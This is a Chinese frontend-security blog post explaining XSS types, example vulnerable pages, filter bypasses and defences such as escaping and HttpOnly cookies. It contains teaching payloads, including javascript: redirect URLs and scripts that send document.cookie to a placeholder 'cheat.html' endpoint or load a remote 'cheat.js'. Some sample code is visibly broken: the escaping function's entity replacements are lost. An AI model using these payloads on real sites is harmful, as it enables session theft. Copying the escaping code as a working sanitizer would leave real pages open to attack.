资讯专栏INFORMATION COLUMN

前端安全系列:XSS篇

xiaolinbang / 1021人阅读

摘要:系列文章前端安全系列篇前端安全系列篇攻击全称跨站脚本攻击,为不和层叠样式表的缩写混淆,故将跨站脚本攻击缩写为,是一种在应用中的计算机安全漏洞,它允许恶意用户将代码植入到提供给其它用户使用的页面中。

系列文章:

前端安全系列:XSS篇
前端安全系列:CSRF篇

XSS攻击

全称跨站脚本攻击,为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

XSS攻击的危害

盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

盗窃企业重要的具有商业价值的资料

非法转账

强制发送电子邮件

网站挂马

控制受害者机器向其它网站发起攻击

XSS漏洞的分类 本地利用漏洞

这种漏洞存在于浏览器页面中,属于前端自身问题基于DOM文档对象模型的一种漏洞,大概步骤:

A给B发送一个恶意构造的URL

B打开恶意URL

B的浏览器页面中包含恶意代码

A的恶意代码可以拥有B的持有权限,进而获取B的数据或者冒充B的行为

通过修改浏览器页面中的DOM(DocumentObjectModel)时,就有可能产生这种漏洞

反射式漏洞

服务端没有对数据进行过滤、验证或者编码等处理直接返回前端可能引起的漏洞

A给B发送一个恶意构造的URL

B打开目标网站,浏览器将包含恶意代码的数据通过请求传递给服务端,其不加处理直接返回给浏览器

B的浏览器接收到响应后解析并执行的代码中包含恶意代码

A的恶意代码可以拥有B的持有权限,进而获取B的数据或者冒充B的行为

常见于网站搜索栏,登录注册等地方窃取用户cookies或者进行钓鱼欺骗.因为其中涉及到服务端的参与,想要避免需要后端协调.

存储式漏洞

类似反射式但是会把未经处理的数据储存在数据库中

A将恶意代码提交到目标网站的数据库中

B打开目标网站,服务端将恶意代码从数据库取出拼接在HTML中返回给浏览器

B的浏览器接收到响应后解析并执行的代码中包含恶意代码

A的恶意代码可以拥有B的持有权限,进而获取B的数据或者冒充B的行为

这是属于持久性攻击,涉及范围可能包括所有的访问用户,一般常用网站留言,评论,博客日志等.

大致对比
类型 本地利用 反射式 存储式
触发 用户打开恶意构造的URL 用户打开恶意构造的URL 1, 用户打开恶意构造的URL
2, 攻击者构造脚本
储存 URL URL 数据库
输出 前端 后端 后端
方式 DOM HTTP响应 HTTP响应
XSS 常见案例 公司网站新上线一个搜索功能,B写了这段代码


    
        
        
        
        demo
        
    
    
        
input:

output:

完整源码可以查看demo1
某天,让A知道之后他输入这么一段代码,然后提交之后发现


类似的用户输入内容都可能被攻击者利用拼接特殊格式的字符串形成恶意代码,通过注入脚本引发潜在风险,浏览器不会区分善恶,只是按照代码解析,于是B想了一个办法告诉浏览器这段内容不该解析,所以改了一下,简单转义输入内容

function escapeHtml(text) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

function unescapeHtml(str) {
  return text.replace(/[<>"&]/g, function(match, pos, originalText) {
    switch (match) {
      case "<":
        return "<";
      case ">":
        return ">";
      case "&":
        return "&";
      case """:
        return """;
    }
  });
}

$submit.click(function() {
  var val = escapeHtml($input.val());
  $output.val(val).html(val);
});

完整源码可以查看demo2
现在浏览器就不会再执行里面的代码了,实际业务中应该转义的内容不止这么简单

基于某些业务,例如登录,订单等需要携带参数或者重定向等信息,B写了这么一个页面


    
        
        demo
    
    
        
output: jump

完整源码可以查看demo3
A发现一个漏洞,然后发了这个网址给其他人打开

https://www.test.com/?redirect_to=javascript:alert("XSS")

当他们点击跳转的时候就会触发A故意形成的恶意代码

像这种情况B第一想法是检验是否网址格式再渲染界面,所以他这么写

function testUrl(str) {
  var Expression =
    "^((https|http|ftp|rtsp|mms)?://)?" +
    "(([0-9a-z_!~*().&=+$%-]+: )?[0-9a-z_!~*().&=+$%-]+@)?" + //ftp的user@
    "(([0-9]{1,3}.){3}[0-9]{1,3}|" + // IP形式的URL- 199.194.52.184
    "([0-9a-z_!~*()-]+.)*" + // 域名- www.
    "[a-z]{2,6})" + //域名的扩展名
    "(:[0-9]{1,4})?" + // 端口- :80
    "((/?)|(/[0-9a-z_!~*().;?:@&=+$,%#-]+)+/?)$";
  var objExp = new RegExp(Expression);
  if (objExp.test(str) != true) {
    return false;
  } else {
    return true;
  }
}
var val = getQueryString("redirect_to");
$output.val(val);
testUrl(val) && $jump.attr("href", val);

完整源码可以查看demo4
因为富文本有问题,只能截图.

但是不是每个a标签都是用于跳转页面的,例如通过Scheme协议打开APP界面

这样子你就把其他非属性跳转的用法都干掉了,所以B想了想不妥,还是换一种方式禁止,直接判断执行前缀

var val = getQueryString("redirect_to");
var reg = /javascript:/gi;
$output.val(val);
!reg.test(val) && $jump.attr("href", val);

完整源码可以查看demo5
因为浏览器不区分大小写,所以需要注意一下.更新版本之后B以为已经堵死这条路了,殊不知A换个方式改成编码或者回车空格等

https://www.test.com/?redirect_to=jav ascript:alert("XSS");
https://www.test.com/?redirect_to=javascrip?74:alert("XSS");

这就尴尬了,虽然浏览器并不会执行,但是这些也能完全避开B的拦截规则,也可能会引起其他隐患

还有种内联数据用法,将序列化的数据通过URL传递给其他页面使用


    
        
        demo
    
    
        
output:

完整源码可以查看demo6
A可以直接修改URL参数注入代码

https://www.test.com/?data={"data":""}

A通过恶意脚本在页面插入图片自动发起恶意请求
var img = document.createElement("img");
img.src =
  "http://www.test.com/cheat.html?url=" +
  escape(window.location.href) +
  "&content=" +
  escape(document.cookie);
img.style = "display:none";
document.body.appendChild(img);

完整源码可以查看demo7
B让服务端采用了比较简单的办法使用httponly禁止JS脚本访问cookies信息让A无法拿到

A通过事件注入恶意脚本
var img = document.createElement("img");
img.src = "#";
img.onerror = document.body.appendChild(document.createElement("script")).src =
  "http://www.test.com/cheat.js";
img.style = "display:none";
document.body.appendChild(img);

完整源码可以查看demo8
当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。可以让服务端限制必须是白名单才能通过请求达到防盗链功能,但是丢失Refere情况比较多,而且容易被恶意修改,所以大多只适用于资源被恶意引用的情况

A利用浏览器的解码顺序进行混合编码组装

当浏览器进行绘制时,解码顺序分别为 HTML > URL > JS,所以A构造了这么一段代码

")">jump

首先是 HTML 解码,结果为

")">jump

然后是 URL 解码,结果为

")">jump

最后是 JS 解码,结果为

")">jump

所以可以攻击的方式很多种,相比于针对处理我们应该先了解相关的攻击方式

XSS攻击方式

所有用户输入内容都有潜在的风险

利用script标签注入HTML/Javascript代码

利用拥有hrefsrc等属性的标签

利用空格、回车和Tab等拼接方式绕开拦截

利用字符编码绕开拦截(JS支持unicode、eacapes、十六进制、十进制等编码形式)

利用onload,onscroll等事件执行恶意代码

利用样式属性backgrund-image等执行(听说主流浏览器已处理)

URL参数

Cookies

请求headerreferer

恶意代码拆分组装

各种API

// URL相关
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
// 操作dom
document.write()
document.writeln()
document.boby.innerHtml
// 特殊函数
eval()
window.execScript()
window.setInterval()
window.setTimeout()
// 重定向
document.location
document.URL
document.open()
window.location.href
window.navigate()
window.open

总的来说分两种类型:

攻击者手动提交恶意代码

浏览器自动执行恶意代码

防御 针对上面的案例如果B选择前端进行内容转义,会引起什么问题呢?

如果攻击者不直接经过前端界面,而是直接自己构造请求就可以破解了

但是B是在发送请求之前转义又会有什么问题?

如果是需要用于界面展示的话,引用到字段的地方都需要处理,大部分模板都会自动转义处理,但是如果用在JS不能直接使用或者计算,例如长度判断等

需要根据上下文采用不同的转义规则增大处理难度,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所以这更适用于固定类型的内容,例如URL,号码等

前端基本的XSS拦截处理有哪些?
XSS Filter

用户提交数据进行验证,只接受限定长度/内容

表单数据指定具体类型

过滤移除特殊的html标签,scriptiframe

过滤移除特殊的Javascript代码,javascript:和事件等

HTML Entity(举例部分)
符号 实体编号
< <
> >
& &
" "
" '
空格  
请求限制

将重要的Cookie标记为HTTP Only,不能通过客户端脚本读取和修改

设置referer防止恶意请求

实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/106426.html

相关文章

  • 前端安全系列:CSRF

    摘要:系列文章前端安全系列篇前端安全系列篇介绍跨站请求伪造,也被称为或者,通常缩写为或者,是一种对网站的恶意利用。 系列文章: 前端安全系列:XSS篇前端安全系列:CSRF篇 CSRF介绍 CSRF(Cross-site request forgery)跨站请求伪造,也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利...

    Java_oldboy 评论0 收藏0
  • 【面试】寒冬求职之你必须要懂的Web安全

    摘要:禁止内联脚本执行规则较严格,目前发现使用。典型的攻击流程受害者登录站点,并保留了登录凭证。站点接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是无辜的受害者发送的请求。攻击完成,攻击者在受害者不知情的情况下,冒充受害者完成了攻击。 随着互联网的发展,各种Web应用变得越来越复杂,满足了用户的各种需求的同时,各种网络安全问题也接踵而至。作为前端工程师的我们也逃不开这个问题,今天一起...

    yeyan1996 评论0 收藏0
  • 【面试】寒冬求职之你必须要懂的Web安全

    摘要:禁止内联脚本执行规则较严格,目前发现使用。典型的攻击流程受害者登录站点,并保留了登录凭证。站点接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是无辜的受害者发送的请求。攻击完成,攻击者在受害者不知情的情况下,冒充受害者完成了攻击。 随着互联网的发展,各种Web应用变得越来越复杂,满足了用户的各种需求的同时,各种网络安全问题也接踵而至。作为前端工程师的我们也逃不开这个问题,今天...

    charles_paul 评论0 收藏0
  • 前端——影子杀手

    摘要:前言对于一个影子杀手而言,总能杀人于无形。前端也有影子杀手,它总是防不胜防地危害着你的网站本篇打算介绍一些前端的影子杀手们和。影子杀手们,由来已久,几乎伴随着整个互联网的发展。 前言 对于一个影子杀手而言,总能杀人于无形。前端也有影子杀手,它总是防不胜防地危害着你的网站 本篇打算介绍一些前端的影子杀手们——XSS和CSRF。或许,你对它恨之入骨;又或者,你运用的得心应手。恨之入骨,可能...

    李世赞 评论0 收藏0
  • 前端每周清单第 41 期 : Node 与 Rust、OpenCV 的火花,网络安全二三事

    摘要:的网站仍然使用有漏洞库上周发布了开源社区安全现状报告,发现随着开源社区的日渐活跃,开源代码中包含的安全漏洞以及影响的范围也在不断扩大。与应用安全是流行的服务端框架,本文即是介绍如何使用以及其他的框架来增强应用的安全性。 showImg(https://segmentfault.com/img/remote/1460000012181337?w=1240&h=826); 前端每周清单专注...

    syoya 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<